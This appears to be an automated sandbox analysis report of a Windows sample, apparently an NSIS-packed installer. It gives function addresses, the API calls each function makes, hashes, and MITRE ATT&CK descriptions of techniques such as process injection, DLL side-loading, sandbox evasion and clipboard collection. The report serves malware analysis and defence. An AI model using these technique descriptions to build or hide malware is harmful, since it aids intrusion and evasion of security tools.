Opcode Fuzzy Hash: 38246e7ae17352d7cedfc7595443620c434811b06811d2a86a618e437c7072d2
Instruction Fuzzy Hash: CB418B72504205DFDB109F29EE84AA63BADF74431671441BFE604B22E1C7B96D418BEC

Function 00402331 Relevance: 6.1, APIs: 4, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040236F
lstrlenW.KERNEL32(0040A598,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 0040238F
RegSetValueExW.ADVAPI32(?,?,?,?,0040A598,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023CB
RegCloseKey.ADVAPI32(?,?,?,0040A598,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: ba6de99ecd9c974ff92ad763852c2a36614bc53b67291303901efbf9c54001f3
Instruction ID: 1c964708cf89b7fac74d07524040b6b2ab84de1cfba919da144199f52892a02b
Opcode Fuzzy Hash: ba6de99ecd9c974ff92ad763852c2a36614bc53b67291303901efbf9c54001f3
Instruction Fuzzy Hash: A51190B1A00108BEEB11EFA4CD89EAFBB7CEB50358F10443AF505B61D1D7B85E409B29

Function 004015B9 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00405A3E: CharNextW.USER32(?,?,00424EF0,?,00405AB2,00424EF0,00424EF0,00436800,?,771B2EE0,004057F0,?,00436800,771B2EE0,00434000), ref: 00405A4C
Part of subcall function 00405A3E: CharNextW.USER32(00000000), ref: 00405A51
Part of subcall function 00405A3E: CharNextW.USER32(00000000), ref: 00405A69

CreateDirectoryW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015E3
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015ED
GetFileAttributesW.KERNEL32(?,?,00000000,0000005C,00000000,000000F0), ref: 004015FD
SetCurrentDirectoryW.KERNEL32(?,00435000,?,00000000,000000F0), ref: 00401630

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 7fc8d92597ca224d1c9d0f403f8dd560b19a4790d4067b824d9ac869d91d7f68
Instruction ID: 602e027c19ef8137931421d3e2870900c2c1aa36f58208ee64056e3add0ea48c
Opcode Fuzzy Hash: 7fc8d92597ca224d1c9d0f403f8dd560b19a4790d4067b824d9ac869d91d7f68
Instruction Fuzzy Hash: 4F11C271904200EBCF206FA0CD449AE7AB4FF14369B34463BF881B62E1D23D49419A6E

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E8F: wsprintfW.USER32 ref: 00405E9C

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 3b082d3ae56cd80e188a89b5e125e5232bc00da1bbd486e0c7b94093934bebb9
Instruction ID: 99fd8a33424c76a20816063d32e2a6550cff77f564c1afe2c3b0238effae22d3
Opcode Fuzzy Hash: 3b082d3ae56cd80e188a89b5e125e5232bc00da1bbd486e0c7b94093934bebb9
Instruction Fuzzy Hash: 93113675A00108AECB00DFA5C945DAEBBBAEF44344F20407AF905F62E1D7349E50DB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051F2: lstrlenW.KERNEL32(004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
Part of subcall function 004051F2: lstrlenW.KERNEL32(00402D94,004216C8,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
Part of subcall function 004051F2: lstrcatW.KERNEL32(004216C8,00402D94,00402D94,004216C8,00000000,00000000,00000000), ref: 0040524D
Part of subcall function 004051F2: SetWindowTextW.USER32(004216C8,004216C8), ref: 0040525F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
Part of subcall function 004051F2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

Part of subcall function 004056C3: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256F0,Error launching installer), ref: 004056E8
Part of subcall function 004056C3: CloseHandle.KERNEL32(?), ref: 004056F5

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 35074abae760ef12712c5987b0758c23aa86cdd0156e8bbbcf6b223dd8d47178
Instruction ID: 663650117de36b32c607de2b5c5339e49b80fcfff4c178b035665d2e4b1c7066
Opcode Fuzzy Hash: 35074abae760ef12712c5987b0758c23aa86cdd0156e8bbbcf6b223dd8d47178
Instruction Fuzzy Hash: 8811A131E00204EBCF109FA0CD449EF7AB5EB44315F20447BE505B62E0C7798A82DBA9

Function 00405166 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405195
CallWindowProcW.USER32(?,?,?,?), ref: 004051E6

Part of subcall function 004041E6: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004041F8

Strings

, xrefs: 00405176

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 843aab861ffb3f3227d1c446d01b64cf4776ac7e98eef2f295c4549480fb80e8
Instruction ID: 7fff49106f067b4291516d9fc604604598bdb5380bd5c908914395e8565309e0
Opcode Fuzzy Hash: 843aab861ffb3f3227d1c446d01b64cf4776ac7e98eef2f295c4549480fb80e8
Instruction Fuzzy Hash: 26015E71900609BBDB205F51ED84B6B3A26E794364F604037FA007A2D1D77A9C919F69

Function 00405BE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C01
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00000000,00403358,00436000,00436800), ref: 00405C1C

Strings

nsa, xrefs: 00405BF0

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: c429582aea5e4f3fae6c397ed87dacf02ee6c580567254a7da4e12ab8597e880
Instruction ID: 094b443934c56d738417ad06ce23117a41e39d67b54f0ae1535361756efc6c0b
Opcode Fuzzy Hash: c429582aea5e4f3fae6c397ed87dacf02ee6c580567254a7da4e12ab8597e880
Instruction Fuzzy Hash: 45F09676A04208BBDB009F59DC05E9BB7B8EB91710F10803AEA01E7151E2B0AD448B54

Function 004056C3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256F0,Error launching installer), ref: 004056E8
CloseHandle.KERNEL32(?), ref: 004056F5

Strings

Error launching installer, xrefs: 004056D6

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: e8775a5d6321f0dea89ce82b90cc6292b7a3bd0044cb503c25c375156348e7c2
Instruction ID: 0bf1ed3311e3e942e0a1389e84d80c76f41ccd0b69acab1f7eccde3b1b9dfef0
Opcode Fuzzy Hash: e8775a5d6321f0dea89ce82b90cc6292b7a3bd0044cb503c25c375156348e7c2
Instruction Fuzzy Hash: D7E0E674E0020AAFDB009F64DD05D6B7B7DF710304F808521A915F2250D7B5E8108A7D

Function 004069D2 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba6317b19b7b230722eb11252d44c293277e5dc1cbca2e551617393c5194c9d0
Instruction ID: dca007468fed7c27dd914b546e5ea1ac9ab056a0c62ecf1bea7b7831388965f7
Opcode Fuzzy Hash: ba6317b19b7b230722eb11252d44c293277e5dc1cbca2e551617393c5194c9d0
Instruction Fuzzy Hash: 58A14471E00229DBDF28CFA8C8447ADBBB1FF48305F15816AD856BB281C7785A96CF44

Function 00406BD3 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db87408b1e9cadcd0a4c6ae5b6f4dd47f3337075cb2a4d2d14f0ff51d5c97f6a
Instruction ID: e31ab10654d3133c4bbe562e0396aaf9f668a3464ceaf5ac7e335a669e1e1d03
Opcode Fuzzy Hash: db87408b1e9cadcd0a4c6ae5b6f4dd47f3337075cb2a4d2d14f0ff51d5c97f6a
Instruction Fuzzy Hash: 8E912371E00228CBEF28CF98C8587ADBBB1FF44305F15816AD856BB291C7785A96DF44

Function 004068E9 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 165f4b65d4ff5263617aa106d744e60dbd7c4f5d43725cc52d5e79b0d4499ef2
Instruction ID: e0c60a541a5106e25e0a2f50f35f038ee2aa27f15edb78bccdd8f3c871378321
Opcode Fuzzy Hash: 165f4b65d4ff5263617aa106d744e60dbd7c4f5d43725cc52d5e79b0d4499ef2
Instruction Fuzzy Hash: 2C814471D04228DFDF24CFA8C8487ADBBB1FB45305F25816AD456BB281C7789A96CF44

Function 004063EE Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 148eda801716ed3d9969b88488a2fa3c6a7092fa608051ce9148cc038319d1b3
Instruction ID: c1f18cc480c27d0a28c5d6dc1e8cd9b1e5e62e2ab7f78041d4dc85e199002e6a
Opcode Fuzzy Hash: 148eda801716ed3d9969b88488a2fa3c6a7092fa608051ce9148cc038319d1b3
Instruction Fuzzy Hash: 9B816731D04228DBDF24CFA8C8487ADBBB1FB44305F25816AD856BB2C1C7785A96DF84

Function 0040683C Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4983b507bd6312ae2b30a384a7c44b2e85aa51a10719cb6f4e73ba4d3199020d
Instruction ID: 317a4f11872e46a6f39a96627fb546a7164eb21cb9e645d400dda74b69288846
Opcode Fuzzy Hash: 4983b507bd6312ae2b30a384a7c44b2e85aa51a10719cb6f4e73ba4d3199020d
Instruction Fuzzy Hash: 48713471D04228DFEF24CFA8C8447ADBBB1FB48305F15816AD856BB281C7785A96DF44

Function 0040695A Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02494a79b55f78bffb2877069ace75a440f4ea31aa61c09e76d6a1b36594b02c
Instruction ID: 7b464a411068ed62169f7738ff9b09ef3af2f2625e32a791141ed05019b82bd1
Opcode Fuzzy Hash: 02494a79b55f78bffb2877069ace75a440f4ea31aa61c09e76d6a1b36594b02c
Instruction Fuzzy Hash: A4714571E04228DFEF28CF98C8447ADBBB1FB48301F15816AD456BB281C7785996DF44

Function 004068A6 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e250f200d648af3f0bd61970bfe314c861a6b6aa0b25ddc882d3b39d553e7667
Instruction ID: 924b227091e8338000478ad755e115b80dfeef44851b3a3b0f99ac33e872c674
Opcode Fuzzy Hash: e250f200d648af3f0bd61970bfe314c861a6b6aa0b25ddc882d3b39d553e7667
Instruction Fuzzy Hash: 07713571E04228DBEF28CF98C8447ADBBB1FF44305F15816AD856BB281C7785A96DF44

Function 00405B19 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B29
lstrcmpiA.KERNEL32(00405D53,00000000), ref: 00405B41
CharNextA.USER32(00405D53,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B52
lstrlenA.KERNEL32(00405D53,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B5B

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: 19ad592fd5dcf9c9bc99336752ee576fec3eb52e2d0cc5b6bc7cc78b570e8094
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 5FF06231A04958AFC7129BA5DD4099FBBB8EF06350B2540A6F801F7251D674FE019BA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

